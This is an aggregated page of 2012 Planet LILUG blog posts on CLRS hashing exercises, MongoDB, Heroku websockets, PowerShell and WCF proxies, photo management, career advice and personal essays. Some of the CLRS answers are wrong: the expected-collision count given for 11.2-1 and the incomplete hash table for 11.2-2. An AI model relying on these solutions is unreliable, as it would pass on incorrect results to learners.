Planet LILUG

May 08, 2012

Eitan Adler

Blogging my way through CLRS Section 11.1 (edition 2)

I've taken a brief break from blogging about my Cormen readings but I decided to write up the answers to chapter 11. Note that the chapters and question numbers may not match up because I'm using an older edition of the book.
Question 11.1-1:

Suppose that a dynamic set $S$ is represented by a direct address table $T$ of length $m$. Describe a procedure that finds the maximum element of $S$. What is the worst case performance of your procedure?

Assuming the addresses are sorted by key: Start at the end of the direct address table and scan downward until a non-empty slot is found. This is the maximum and if not:

  1. Initialize $max$ to $-\infty$
  2. Start at the first address in the table and scan downward until an unused slot is found. If you reach the end goto #5
  3. Compare key to $max$. If it is greater assign it to $max$
  4. Goto #2
  5. Return $max$

The performance of this algorithm is $\Theta(m)$ in the worst case. A slightly smaller bound can be found in the first case of $\Theta(m - max)$

Question 11.1-2:

Describe how to use a bit vector to represent a dynamic set of distinct elements with no satellite data. Dictionary operations should run in $O(1)$ time.

Initialize a bit vector of length $|U|$ to all $0$s. When storing key $k$ set the $k$th bit and when deleting the $k$th bit set it to zero. This is $O(1)$ even in a non-transdichotomous model though it may be slower.

Question 11.1-3:

Suggest how to implement a direct address table in which the keys of stored elements do not need to be distinct and the elements can have satellite data. All three dictionary operations must take $O(1)$ time.

Each element in the table should be a pointer to the head of a linked list containing the satellite data. $nul$ can be used for non-existent items.

Question 11.1-4:

We wish to implement a dictionary by using direct addressing on a large array. At the start the array entries may contain garbage, and initializing the entire array is impractical because of its size. Describe a scheme for implementing a direct address dictionary on the array. Dictionary operations should take $O(1)$ time. Using an additional stack with size proportional to the number of stored keys is permitted.

On insert the array address is inserted into a stack. The array element is then initialized to the value of the location in the stack.

On search the array element value is to see if it is pointing into the stack. If it is the value of the stack is checked to see if it is pointing back to the array.[1]

On delete, the array element can be set to a value not pointing the stack but this isn't required. If the element points to the value of the stack, it is simply popped off. If it is pointing to the middle of the stack, the top element and the key element are swapped and then the pop is performed.


Question 11.2-1:

Suppose we have use a hash function $h$ to hash $n$ distinct keys into an array $T$ of length $m$. Assuming simple uniform hashing what is the expected number of collisions?

Since each new value is equally likely to hash to any slot we would expect $n/m$ collisions.

Question 11.2-2:

Demonstrate the insertion of the keys: $5, 28, 19, 15, 20, 33, 12, 17, 10$ into a hash table with 9 slots and $h(k) = k \mod{9}$[2]

hash values
1 28 -> 19 -> 1
2 20
3 12
5 5
6 15 -> 33
17 8

Question 11.2-3:

If the keys were stored in sorted order how is the running time for successful searches, unsuccessful searches, insertions, and deletions affected under the assumption of simple uniform hashing?

Successful searches unsuccessful searches are largely unaffected although small gains can be achieved if if the search bails out early once the search finds a key later in the sort order than the one being searched for.

Insertions are the most affected operation. The time is changed from $\Theta(1)$ to $O(n/m)$

Deletions are unaffected. If the list was doubly linked the time remains $O(1)$. If it was singly linked the time remains $O(1 + \alpha)$


Question 11.2-4:

Suggest how storage for elements can be allocated and deallocated within the ash table by linking all unused slots into a free list. Assume one slot can store a flag and either one element or two pointers. All dictionary operations should run in $O(1)$ expected time.

Initialize all the values to a singly linked free list (flag set to false) with a head and tail pointer. On insert, use the memory pointed to by the head pointer and set the flag to true for the new element and increment the head pointer by one. On delete, set the flag to false and insert the newly freed memory at the tail of the linked list.

Question 11.2-5:

Show that if $|U| > nm$ with $m$ the number of slots, there is a subset of $U$ of size $n$ consisting of keys that all hash to the same slot, so that the worst case searching time for hashing with chaining is $\Theta(n)$

Assuming the worst case of $|U|$ keys in the hash tabe assuming the optimial case of simple uniform hashing all m slots will have $|U|/m = n$ items. Removing the assumption of uniform hashing will allow some chains to become shorter at the expense of other chains becoming longer. There are more items then the number of slots so at least one slot must have at least $n$ items by the pigeon hole principle.

Question 11.3-1:

Suppose we wish to search a linked list of length $n$, where every element contains a key $k$ along with a hash value $h(k)$. Each key is a long character string. How might we take advantage of the hash values when searching the list for an element of a given key?

You can use $h(k)$ to create a bloom filter of strings in the linked list. This is an $\Theta(1)$ check to determine if it is possible that a string appears in the linked list.

Additionally, you can create a hash table of pointers to elements in the linked list with that hash value. this way you only check a subset of the linked list. Alternatively, one can keep the hash of the value stored in the linked list as well and compare the hash of the search value to the hash of each item and only do the long comparison if the hash matches.


Question 11.3-2:

Suppose that a string of length $r$ is hashed into $m$ slots by treating it as a radix-128 number and then using the division method. The number $m$ is easily represented as a 32 bit word but the string of $r$ character treated as a radix-128 number takes many words. How can we apply the division method to compute the hash of the character string without using more than a constant number of words outside of the string itself?

Instead of treating the word as a radix-128 number some form of combination could be used. For example you may add the values of each character together modulus 128.

Question 11.3-4:

Consider a hash table of size $m = 1000$ and a corresponding hash function $h(k) = \lfloor m (k A \mod{1})\rfloor$ for $ A = \frac{\sqrt{5} - 1}{2}$ Compute the locations to which the keys 61, 62, 63, 64, 65 are mapped.

key hash
61 700
62 318
63 936
64 554
65 172
  1. This is required because it is possible that the random garbage in the array points to the stack by random chance
  2. unused slots not shown

by Eitan Adler (noreply@blogger.com) at May 08, 2012 12:47 AM

May 01, 2012

Josef "Jeff" Sipek

MongoDB - First Impressions

I just ssh’ed into a server that’s running MongoDB to see if it was doing anything and if there were any cool commands to get stats from it. (I’ve never used MongoDB.) I accidentally ran mongod as non-root. It died because it didn’t have the right permissions — good. However, something in the output seemed completely and utterly retarded.

warning: 32-bit servers don't have journaling enabled by default. Please use
	--journal if you want durability.

[initandlisten] MongoDB starting : pid=12682 port=27017 dbpath=/data/db/
	32-bit host=hkn2012
[initandlisten] 
[initandlisten] ** NOTE: when using MongoDB 32 bit, you are limited to about
	2 gigabytes of data
[initandlisten] **       see http://blog.mongodb.org/post/137788967/32-bit-limitations
[initandlisten] **       with --journal, the limit is lower

Was it the 2 GB data limit? Nope! Was it the fact that 32-bit systems default to non-durable mode while 64-bit default to durable? Bingo! Seriously, that is retarded. Why would anyone think that it is a good idea to cripple 32-bit systems like that? Was performance so bad with journaling that to avoid gaining a reputation for being slow the developers decided to keep the data unsafe by default? I doubt it. Was it to squeeze in a couple more MB of addressable data? Probably. Good job, folks.

For what it is worth, I decided to see if the 2 GB limit was something silly (i.e., using an int in some on-disk structure). It turns out that mongod likes to mmap the data for fast access. This is reasonable. (More so than using architecture specific integral types in on-disk structures.)

I wonder what other gems are hiding in this software.

by JeffPC at May 01, 2012 03:36 PM

April 30, 2012

Justin

Getting tornadio2 working on heroku

I spent a while the other day figuring out how to get websockets working on heroku, so I thought I'd write it up.

First, Heroku doesn't actually support websockets, so you must use something like socket.io which can fallback to various long polling mechanisms.

Step 1, disable websocket support in socket.io

Without this, socket.io tries to connect first using websockets and it takes a while to timeout before switching to long polling.

// remove websocket for heroku
var options = {transports:["flashsocket", "htmlfile", "xhr-polling", "jsonp-polling"]};
var socket = io.connect('http://.../", options);

Step 2, configure tornadio to use xheaders

If you don't tell tornadio to use xheaders it will think heroku is trying to hijack sessions and nothing will work. You will get 401 unauthorized messages back from tornado and the error from this statement in your logs:

# If IP address don't match - refuse connection
if handler.request.remote_ip != self.remote_ip:
    logging.error('Attempted to attach to session %s (%s) from different IP (%s)'   % (
                  self.session_id,
                  self.remote_ip,
                  handler.request.remote_ip
                  ))

Enabling xheaders is a good idea when deploying to heroku in general and is not tornadio specific.

Add the xheaders option to the main SocketServer initialization, and everything is happy.

SocketServer(application,xheaders=True)

April 30, 2012 08:49 PM

April 28, 2012

Justin Dearing

All Aboard #SQLAmtrak

Update: I am proposing an earlier train.

I have three announcements in this post. First of all, I’d like to announce that I will be speaking at SQL Saturday 121 in Malvern, PA, just outside of one of my favorite cities, Philadelphia. Secondly, I’d like to announce that I will be taking Amtrak there from Newark Penn Station in Newark, NJ. Finally, I’m inviting you all to join me in a little adventure I’d like to call #SQLAmtrak!

Why #SQLAmtrak?

Because I love traveling by rail, and I’m sure I’m not the only one! I enjoy flying, and long drives. However, Amtrak is my favorite way to travel. In fact, just this Tuesday and Thursday I took Amtrak from Newark to Philadelphia to speak at PhillyNJ.NET and PhillyDB respectively. Previously I’ve also taken Amtrak to DC for MongoDC, and in December I took the entire route of the California Zephyr as part of a convoluted journey to MongoSV and the first MongoDB Masters conference. (BTW, I’ve also taken Amtrak to non-nerdy things with my wife. I swear sometimes I pretend to be normal!)

When you love something this much you want to share it with the world! I want to share this experience with members of #SQLFamily, most of whom I only know through the internet, and many I’ve not ever met in virtually.  I know if we all spend an hour and a half on a train together, it will be a great social experience. BTW if you need a business justification, call it a networking experience.

Ok, but how many people from Newark will be attending SQL Saturday 121?

The answer might be zero, because I actually live in Jersey City. Seriously though, this Amtrak journey makes sense for several groups of people.

  • If you live or work in New York City, the train stops at New York Penn Station before Newark
  • The train will also stop in Metro Park and Trenton, which are easily accessible from Central Jersey
  • If you work in the city of Philadelphia, you can join us for the last part of the journey from Philadelphia 30th Street station to Paoli.
  • Finally, if you are flying in, you can fly to EWR, you can take the New Jersey Transit one stop from Newark Airport to Newark Penn Station. Its quite likely that you can get a cheaper/faster/more direct flight from wherever you are coming to EWR as opposed to a Philadelphia airport.

What train are we taking?

Originally I was proposing that we take Amtrak Keystone Train 655. Which gets to Paoli at 8:40pm. I am now suggesting train 651, which arrives at 6:02. The complete schedule for both trains is as follows:

Station Train 651 Departs Train 655 Departs Ticket Price
NY Penn 4:03 6:35 $50
Newark 4:20 6:52 $49
EWR * 3:49 6:40 $63
Trenton 4:55 7:28 $32
Conrwells Heights N/A 7:40
North Philly N/A 7:52
30th Street Phil 5:35 8:00 $6.50
Ardmore 5:48 8:15
Paoli 6:02 8:40

* For those flying in, its $5.50 for an Air train ticket to the NJ transit station and $8.50 to take NJ Transit from EWR to Newark Penn. You can buy those tickets on arrival.

Note that you need to buy a ticket in advance if you will get on the train before 30th Street. Also, ticket prices go up the longer you wait. Finally, there is no business class available on this train. Even if there was, not everyone would want to spring for it, and the whole point of this is for the gathering to be social, so we will take coach.

What if I get to Newark Penn early?

People will want to fly in early, and will likely want to have a light meal and or drinks before departing. For those of us who will be departing from Newark, I am proposing we go to Iberia Restaurant a short walk from Newark Penn in the Portuguese Ironbound section of Newark, voted best Sangria in the Ironbound by my wife and I. Weather permitting there is outdoor seating, and the tapas are great.

What do I have to do to take part?

If you plan on going, email my at justin@ the domain of this blog. Everyone is responsible for buying their own train tickets. I’m going to hold off until Sunday May 6th (one week from today) before buying mine in case I get some feedback that other people would prefer a different time. Iberia doesn’t require reservations, so you don’t have to commit to going to the restaurant.

What about the return trip?

I’m open to the idea of a coordinated return trip. However, I don’t expect a good consensus to happen for that.

How should I promote this?

Blog/tweet/etc about this. Tell your friends! Use the hashtag #SQLAmtrak.

by Justin at April 28, 2012 12:45 AM

April 20, 2012

Justin Dearing

PowerShell 3.0 [ordered] and MongoDB

Recently, Shay Levy published a blog post about new features related to the Add-Member cmdlet in PowerShell 3.0. In it, one of the examples involved the use of [ordered]. The example, shown below is:

PS> $pso = New-Object -TypeName PSObject
PS> $pso | Add-Member ([ordered]@{One=1; Two=2; Three=3}) -PassThru

One Two Three
--- --- -----
  1   2     3

The take home of this example was simple; using the @{} operator by itself created a System.Hashtable object, and the order of those keys are not guaranteed. Therefore not guaranteeing the order of the properties of the PSObject. However we could use [ordered] to make it an “ordered hashtable” (Shay’s words).

So I spent some time looking for the MSDN documentation for OrderedHashtable. I never found it so I decided to fire up my Windows 8 VM and see what its type is.

PS C:\Users\zippy> [ordered]
Unable to find type [ordered]: make sure that the assembly containing this type is loaded.
At line:1 char:1
+ [ordered]
+ ~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (ordered:TypeName) [], RuntimeException
    + FullyQualifiedErrorId : TypeNotFound

Eventually, I figured out the problem is that [ordered] is not a type alias. I’m actually not exactly sure what it is, but I’m pretty sure its not a type alias. I did figure it it creates OrderedDictionaries.

    PS C:\Users\zippy> ([ordered]@{}).GetType()

    IsPublic IsSerial Name                                     BaseType
    -------- -------- ----                                     --------
    True     True     OrderedDictionary                        System.Object

So I said to myself, “ok that’s cool, but can I cast from an OrderedDoctionary to a MongoDB.Bson.BsonDocument with the MongoDB .NET driver?” I say this because a while back I submitted some patches to improve the driver’s user experience in PowerShell. My main goal was to be able to use the HashTable notation to define a BsonDocument like so:

[MongoDB.Bson.BsonDocument] $doc = @{
    "_id"= [MongoDB.Bson.ObjectId]::GenerateNewId();
    "FirstName"= "Justin";
    "LastName"= "Dearing";
    "PhoneNumbers"= [MongoDB.Bson.BsonDocument] @{
        'Home'= '718-555-1212';
        'Mobile'= '646-555-1212';
    };
};

The only problem with this notation is you cannot define the order of the keys. Luckily, I found that [Ordered] works flawlessly!

[MongoDB.Bson.BsonDocument] $doc = [ordered]@{
    "_id"= [MongoDB.Bson.ObjectId]::GenerateNewId();
    "FirstName"= "Justin";
    "LastName"= "Dearing";
    "PhoneNumbers"= [MongoDB.Bson.BsonDocument] [ordered]@{
        'Home'= '718-555-1212';
        'Mobile'= '646-555-1212';
    };
};

I’ve updated the gist repo for my post on using MongoDB with PowerShell.

by Justin at April 20, 2012 02:02 AM

April 18, 2012

Josef "Jeff" Sipek

Adobe Lightroom 4

In my previous post I mentioned that I have more or less settled on using Adobe Lightroom 4 for my photo management and editing needs. After getting a comment from someone about his trouble with image management software, I decided to write a blahg post just about why I decided to go with Lightroom.

Adobe
Some people love Adobe while some hate it. Regardless of your feelings for the company, you’ve got to agree, they have a lot of experience when it comes to making photo editing and management software. If you want to get serious with digital photo management and editing, they probably got it right. It turns out that a fair amount of professional photographers use Lightroom during their workflow. So, if this program is good enough for people that rely on it for their livelihood, it is probably good enough for me. :)
catalog
I talked about this a bit in my previous post already, but I will repeat it here. Lightroom lets me do most things the same way I did before it except for the parts I didn’t like. So, I get to keep my <year>/<event> directory structure that I like, but all the photos are indexed and searchable. The catalog stores all the metadata and lets me quickly see thumbnails of only the photos I want to see.
tagging
This is a very common feature of photo management software, but I am including it here since I did not have anything like it with my previous workflow. One can associate arbitrary text strings with a photo and then filter based on that.
geo-tagging
One special metadata field that Lightroom handles is the GPS location. It also lets you select photos based on location on a nice map (pulled from Google Maps).
captions
Every photo can have a title and a caption. I haven’t experimented with this feature all that much but it is rather self explanatory.
ratings
Lightroom offers several ways to “rate” photographs. There is a very straight forward 5-star scale (you can set zero to five stars) as well as each photo can have a “pick” flag or a “reject” flag. After I first import photos from a new event, I display all the thumbnails to get a quick glance at what I shot. Then I view every photo individually and mark every photo that is utterly useless (e.g., blur-y) as a “reject” and every photo that seems promising as “pick”. Then, I look at just the rejects and delete them completely. Now, I just have ok photos (un-flagged) and good photos (flagged as “pick”). I use the stars to rate post-processed photos from mediocre (1-star) to ones I am proud of (5 stars).
DNG
Lightroom supports a variety of image formats — JPGs, TIFFs, PSDs, even various camera raw formats. I used to occasionally shoot in raw (NEFs) but viewing and editing them was a pain. With Ligthroom, I can use them just like any other file format. They just work. Interestingly, I no longer store NEFs. Instead of importing them and storing them as is, I let Lightroom convert them to Wikipedia article: DNGs. I won’t go into NEF vs. DNG, but what tipped the scale in DNG’s favor in my case were sidecar files.
Wikipedia article: sidecars
I do not know what most photo management applications do, but Lightroom stores all the metadata changes in its (SQLite) database. Additionally, it lets you tell it to store all metadata changes along with the original images as well. For every NEF file, it creates a sidecar Wikipedia article: XMP file. That is, next to foo.nef it will create foo.xmp which contains all the metadata changes. JPGs store the metadata in the EXIF tags. DNGs also store the metadata internally. So, if you want raw files because of their quality, you can either use the camera manufacturer’s native raw format and have to keep the XMP files around, or convert them to DNG (which is lossless conversion by default) and then not worry about sidecars.
misc
There are many other cool features that Lightroom offers — from being able to quickly batch process hundreds of photos to being able to generate web galleries and upload them via sftp with a single click. The list of features is way too long, and I am certain that I haven’t found them all yet.

So there you have it. That is what I do with Lightroom. Other software packages had various deficiencies. As an added benefit, with Lightroom I get to use more open formats (DNG & XMP) than without it.

As a technical side-note, all my photos are on a ZFS dataset that I access via CIFS. Yes, compression is enabled (Wikipedia article: lzjb).

by JeffPC at April 18, 2012 04:27 PM

April 17, 2012

Josef "Jeff" Sipek

Post Processing + 2005 Memorial Day Airshow

As some of you know, I do enjoy running around with my camera. It really is a lot of fun wandering aimlessly around, taking a photo or a dozen of something that looks interesting or funny. Unfortunately, there is more to photography than just capturing photons. Once you have the “raw” images, you need to post-process them. Digital cameras make the photon capture part super-easy, however they don’t simplify post processing all that much. (Yes, I know, you no longer need to deal with darkrooms and chemical baths. My point is, the amount of improvement in photo taking is way greater than the amount of improvement in post processing.)

About two weeks ago, I decided to give Adobe Lightroom 4 a go. Up until then, I just had a super-simple organizational scheme: a directory for every year (2004, 2005, …, 2012) and inside each, a directory for each “event”. For example, the 2005 Ottawa Linux Symposium was in 2005/ols while the 2006 one was in 2006/ols. In each event directory, I just had a bunch of jpegs or NEFs. If I wanted to modify an image, I’d open it in Gimp or Photoshop, and save whatever variants I wanted to in a subdirectory called pp — which stands for post-processed. A very simple scheme, but it doesn’t scale. Over the years, I moved my photo collection from computer to computer, trying to keep a backup on an external disk whenever possible. Sadly, this resulted in my having a 130 GB directory with the per-year scheme and “temp” directories with various amounts of the same images, as well as some “I need to empty the CF card now, so I’ll just dump it somewhere temporarily” directories. I suspect that I have about 70–80 GB of unique content.

With this mess on my hands, I decided to try some photo management software. A while ago, I looked at digiKam and I was not impressed. Then about two weeks ago, I gave Picasa and Lightroom a try. Picasa didn’t quite do what I wanted it to do — keep a very similar workflow to what I have now (keep the per-year and per-event directories) but make it really easy to make powerful edits to the images non-destructively. That is, I want to keep the original as they are, but associate the edited images with the original. Lightroom hit the spot right on. At this point I am still using the 30-day trial, but I’m going to spring for the $150 full version.

Anyway, I’ll talk more about Lightroom at some later time. Today, I just want to share 25 photos from an air show I went to on Memorial Day in 2005. (Photos that have been “rotting” in my giant pile of photos until I imported them into Lightroom.) I generated a photo gallery with all 25. Below are the better ones.

by JeffPC at April 17, 2012 02:19 AM

March 31, 2012

Justin Dearing

Advice for young aspiring IT workers

Today I got to address some 18 year old young men at the all-boys Catholic High School I attended at their career day about the IT field. It was a great experience for myself, and I think some of the students enjoyed it. My time was limited in addressing them, so I decided to write this blog post of advice for young people. Some of this advice was in my talk, and some wasn’t. Also, while I’m a big proponent of Women In Technology (WIT), I did not get to address any young ladies since my high school’s studen body is all male. Therefore, I hope someone will make their daughter read this.

One thing I touched on pretty well in my talk was lifestyle choices. In IT you can work in a city or a suburban setting. You can work for yourself, or you can work for a company. You can work for small companies or large companies. Some jobs will let you go home at 5:01, and others (like video game development) will have you working 90 hour weeks.

This leads to several related peices of advice. The first is of course to take advantage of this by considering these factors when applying to and accepting jobs. The second, somewhat contradictory advice is try to work in several different types of work environments when you’re young and single. Finally te third is try to be your own boss when you are young.

The first peice of advice is pretty self explanatory, but it bears emphasis. To often people worry about salary, and foget about what brings happiness and fufillment. Its easy to get chained to a pair of golden handcuffs. Money is important, but happiness and fufillment are the ends. Money is just one of the means.

The second peice of advice contradicts the first because to work in a lot of different places, I’m suggesting you take jobs where your not comfortable in the environment. However, its for the learning experience. Sometimes you need to know what you like. I always used to think I was a large company person. I now know that I actually like dealing with a medium sized number of people. I know this from working in places to big for my taste where I had to work with people that I could not build interpersonal relationships with due to the infrequent nature of our interactions. I’m now happier in smaller setting because I don’t feel a longing to work at a really big company.

The third peice of advice is to start your own company when your young. Because I did this I know I don’t like being my own boss. Most small business owners love owning their own company. Some think everyone should own their own company. However, that view is very myopic. Some people are happier with their responsibilities boiled down to a narrow set of tasks, with a steady paycheck for a reward. I am one of those people. You might not be one too.

Another thing I talked about was how to learn outside of school. The two aspects of this I addressed is being self motivated to learn, and contributing to open source projects. A third aspect I’d like to talk here is finding and being involved in online communities.

One thing that attracted me to IT is the lack of formal barriers of entry. Some people do not like this about the field. Regardless, thats the nature of the game. Since there are no license requirements for IT, there are no continuing education requirements. In regulated fields like law and medicine, there are continuing education requirements. Just like a high school student will learn as a result of doing what his or her teacher requires of him, someone in a licensed field will do the minimum to keep abrest of advances in their field by fufilling their legally mandated licence requirements. In IT this does not happen. Some companies pay for training. Few will ever mandate it. The drive to adopt new technologies in many organizations is usually bottom up not top down. When I decided to learn Windows PowerShell, no one told me to. My boss didn’t ask me. My coworkers weren’t using it. I decided to learn a new scripting technology to work more effeciently. I introduced it to coworkers.

One way you can keep up your skills is by contributing to open source projects. Contributing to open source gives you an opportunity to do work that others will benifit from outside of a commercial setting. Its something good to put on your resume. Also, many successful open source projects have pretty strict submission guidelines. The feedback you get from a rejected contribution can make you a better coder.

In addition to being involved in open source, get involoved in online communities. Read blog articles and comment on blog articles. (Nothing makes a blogger happy then feedback!) Write your own blog. Ask and answer questions on stackoverflow.com, serverfault.com, and superuser.com. Create a twitter account and follow tech bloggers on twitter. These things will help you grow, and to learn what new trends and technologies are out there, so you know what to learn about next.

In conclusion, I have one last piece of advice. Try to cross train outside of your intended specialization. If you are a programmer that doesn’t understand system administration, you will probably write code that is hard to deploy and maintain by the sysadmins that will do it. If you are a sysadmin that never programmed, you will probably have a hard time using scripting to automate tasks.

by Justin at March 31, 2012 03:39 PM

March 28, 2012

Justin Dearing

Some 64 bit Farmanager plugin links

I’ve previously written about my love of FAR, the File and ARchive manager. One of its greatest strengths is all the plugins written for it. However, some of the most popular plugins are no longer maintained (because they just work), and were not ported to 64 bit. Luckily, this is becoming less and less of an issue.

I have therefore compiled this short list of sites with 64-bit FarManager plugins:

  • Evil Programmers is a google code project with 64 bit builds of plugins. Most of the downloads only include
  • Andrew Grechkin’s plugins. The only one I’ve actually used is the service manager plugin. This site also has plugins for FarManager 3.
  • NexBox This is a fork of the WinSCP plugin for Far. Unlike the original version, there is a 64-bit build of this.
  • FarPlug Google Code Project This has three plugins currently. The first is the arclight plugin that allows far to manipulate zip, 7z, rar and other archive formats. The second allows you to view the contents of movile device docked with ActiveSync, and the third lets you view information about NTFS file systems.

    by Justin at March 28, 2012 01:29 AM

    February 21, 2012

    Josef "Jeff" Sipek

    FAST 2012

    Last week I went to FAST ’12. As always, it’s been fun attending. Overall, the talks were good and gave me a couple of ideas. There was definitely a lot of flash and SSD related work — both of which I don’t find all that exciting. There was however a bunch of work related to dedup and backup.

    Anyway, here’s my reading list. I’ve skimmed most of the papers, but I want to take a closer look at these.

    • Characteristics of Backup Workloads in Production Systems
    • WAN Optimized Replication of Backup Datasets Using Stream-Informed Delta Compression
    • Recon: Verifying File System Consistency at Runtime
    • Consistency Without Ordering
    • ZZFS: A Hybrid Device and Cloud File System for Spontaneous Users
    • Serving Large-scale Batch Computed Data with Project Voldemort
    • BlueSky: A Cloud-Backed File System for the Enterprise
    • Extracting Flexible, Replayable Models from Large Block Traces
    • iDedup: Latency-aware, Inline Data Deduplication for Primary Storage

    by JeffPC at February 21, 2012 09:58 PM

    February 18, 2012

    Nate Berry

    Super Star Trek in Python


    OK kids, make sure you have python installed so you can fire photons in this python remix of the classic Fortran Super Star Trek classic terminal game from the mid 70s. I played this game (poorly) in High School and had gotten frustrated trying to run the original Fortran version some while ago. Turns out [...]

    by Nate at February 18, 2012 09:03 PM

    February 11, 2012

    Justin Dearing

    Using PowerShell to call a WCF service

    PowerShell lets you create web service proxies from WSDLs via the New-WebServiceProxy cmdlet. However, it only works for SOAP web services running on HTTP endpoints. If you have a WCF service using only non http protocols, such as NetTcp, you cannot use New-WebServiceProxy.

    Now, I’ve created and consumed my fair share of web services. So when I began to use PowerShell, I quickly figured out this unfortunate fact. I always knew that I could make use of WCF API to generate the proxies, but I never bothered to figure out how. The annoyance was pretty academic to me. At some point I event told someone on stackoverflow that it can’t be done.

    Then on Friday, I accidentally discovered that a Sharepoint MVP by the name of Christian Glessner solved this problem in 2008 while visiting the excellent site poshcode.org. Christian explains his solution in detail on his blog.

    His solution was a very elegant PowerShell 1.0 solution. However, I felt it could be improved by adding some PowerShell 2.0 features such as parameter collections. I also was really intrigued and wanted to dig into his solution. He was supportive of my initial modifications so I put the git repo of my changes on the justaprogrammer github organization.

    Using my version

    My version of the script creates three functions:

    • Get-WsdlImporter
    • Get-WcfProxyType
    • Get-WcfProxy

    The function that is most analogous to New-WebServiceProxy is Get-WcfProxy. I kept the name from Christian’s version of the code, despite the fact that New-WcfProxy would be more appropriate. In Christian’s version of the code, Get-WcfProxy only returned a System.Type of the generated proxy, not an instance of it. I renamed that to Get-WcfProxyType. Finally. Get-WsdlImporter takes a wsdl or mex endpoint and returns an instance of a System.ServiceModel.Description.WsdlImporter that represents that metadata.

    By default Get-WsdlImporter tries to generate the WsdlImporter via metadata exchange, but it can parse a wsdl with the -HttpGet switch. Below are some examples illustrating its usage:

    $wsdlImporter = Get-WsdlImporter 'http://localhost:14232/EchoService.svc/mex' # Mex endpoint
    Get-WsdlImporter 'http://localhost:14232/EchoService.svc' -HttpGet # WDSL endpoint
    Get-WsdlImporter 'http://localhost:14232/EchoService.svc?wsdl' -HttpGet # WSD: endpoint 

    I don’t see much point for calling Get-WcfProxyType directly so I will not illustrate how to use it here. Get-WcfProxy is the function you want to call. Its main parameter is either a url or a WsdlImporter. You can either let Get-WcfProxy pick the first endpoint it finds in the WsdlImporter, or specify an endpoint and url you want to use as parameters as illustrated below:.

    $wsdlImporter = Get-WsdlImporter "http://localhost:14232/EchoService.svc/mex"
    $proxy = Get-WcfProxy $wsdlImporter # using a WsdlImporter object
    $proxy = Get-WcfProxy "http://$($hostname):14232/EchoService.svc/mex" # using a url
    $proxy = Get-WcfProxy $wsdlImporter "http://localhost:14232/EchoService.svc/WCF" (New-Object System.ServiceModel.WSHttpBinding) # using a WsdlImporter and specifying the endpoint and binding.
    $proxy = Get-WcfProxy 'net.tcp://localhost:8732/EchoService/mex' 'net.tcp://localhost:8732/EchoService/' (New-Object System.ServiceModel.NetTcpBinding) # using a metadata url and specifying the endpoint and binding.
    $proxy.Echo("Justin Dearing"); # calling a service function

    As you might have guessed from my examples I used the justaprogrammer EchoService in my tests.

    The code itself

    I recommend you refer to the github repo for the latest version of the code. However, the version I used here is posted on poshcode.org and embedded below.

    Future directions

    My fork is released under the MIT license and I’d be happy to review patches and consider bug reports and feature requests.

    by Justin at February 11, 2012 11:13 PM

    February 06, 2012

    Nate Berry

    Superbowl for paying customers only


    OK, so I’m not a sports fan, but I admit that I did *try* to watch the superbowl since its supposedly the American thing to do. Since I don’t pay for cable TV at $100 a month, I don’t get any of those cable channels showing the game, but thought I’d be able to get [...]

    by Nate at February 06, 2012 01:51 AM

    February 01, 2012

    John Lutz

    Love is Not.

    Love is Not.
    Love is not usually something you discuss, but for all intents and purposes it can be best explored by what it is not. Remember, this is no definition, but merely a guideline of observation and experience in this Life.

    Love is not Wisdom. No one defines Love in a book, or yet in the smallest of sayings or even this article. It goes far beyond the hottest potential of that which burns and has no limit in it's temperature.

    Love is not Symbolization. Love cannot be contained in or evoked through a word, a letter, a Book or in some manner of Symbol that is bound or not bound by this Earthly Sphere.

    Love is not Complex. A Hymn or Chant may prevent mental disturbance but Love is no where in site.

    Love is not Life. All Life is not Love, but is supported as such. Freewill let's you choose. The fallen know this.

    Love is not Man. It cannot be tied down to just one type of life form. There are many sentient beings , even just here on Earth, that are not just Homo Sapien who practice love, even for Man, himself. It can be also noted that Man was also not just Homo Sapien in his/her history as well.

    Love is not Power. Partially speaking, Love can be powerful thing, but it does not support a dominion over others or anything else.

    Love is not Joy. Cause and effect. Don't confuse the two.

    Love is not Glory. You can have two much Glory, but not enough Love.

    Love is not a Feast. Promised a feast is only a simple tie of the knot of your biological needs. If an Elephant or Dolphin or Whale or Other who is Sentient and you eat one, does this constitute Love?

    Love is not the rendition of Money or goods. Money isn't even form, it changes, it is superfluous, and as such can be used for the ten million thousand evils at Man's hand.

    Love is not by Command or Talent. If someone knows when a good day to wear Jeans is or perhaps when the right time to snap their fingers is; Love never takes this into account.

    Love is not Partial. If Love was partial to, say a certain type of friendly person, there would be no balance. Thus War.

    Love is not All things. Life is all, through the support of Love. But most things can turn, invert in on itself and destroy the Love of that which is.

    Love is not Control. By definition of retention, Union is destroyed. There is only Control where there is Chaos.

    Love is not Respect. While some Respect may be Loving; it has many forms. Respect is not required for Love.

    Love is not Spirituality. Each of us has a spirit, even the most thesis to what we know as Not Love.

    Love is not an Institution. No matter where you go there you are.


    I devote this to my Mom.
     -John L

    by JohnnyL (noreply@blogger.com) at February 01, 2012 07:16 AM

    January 31, 2012

    John Lutz

    Earth: Our Home

    Here is a simple guideline you can use in your daily life in working together in harmony with the planet.

    * Recycle
    recycle as much as you can, it's easy. the only payment you make is temporary room for items before they get shipped out to the appropriate retainer.

    More than likely it's usually a choice between (everyday wear and tear):

    * Cardboard (includes paper)
    * Plastic

    I find that while consuming these two materials are most prevelant.
    Cardboard is from tree pulp, Plastic has the lifetime of thousands of years, when it finally degrades it'll be in the form of small pellets (nondecomposable)


    Unusually you'll be dealing with:
    * Electronics
    * Metal
    * Styroform
    * Clothing
    * Wood

    things such as wood and cloth degenerate, so no need to worry about them till the last. the clothing should be used as rags before throwing out.

    www.earth911.org is a good place to start for salvaging
    everything from paint to computers/electronics/monitors.

    If you only have a phone: 1-800-CLEANUP.

    * drive less (think ahead). If you notice all the people out driving during working hours and haven't asked yourself the question why, it's because we are all consuming. By this we are denegrating our planet. Think about your planet. We are the stewards and have the responsibilty of protecting it.

    * See if it's possible with your company to telecommute (i know this may be hard but if your invested or with more years onboard it's alot easier. Many jobs are applicable in this form. This especially holds true if you commute 1 1/2 hours to work and don't talk to anyone there. (Otherwise known as common Information Technology work.)
    * If you can, try to move close to your work, while unrealistic it's a small goal, that if you can make will help out tremendously.

    * be ware of the elements, it's a good idea to get a container for oil if your changing it and . That mean's not dumping it vacariously.

    * use less: the more you use the more you abuse, try to make sure the appropriate amount of material is used for the job, not any more. that includes just about ever resource you can think of.

    * Electricity may be seemingly ubiquitus, but it still puts strain on the carrying equipment, not to mention your wallet. Use only what you need. A good habit is to turn off the lights everytime you leave a room.

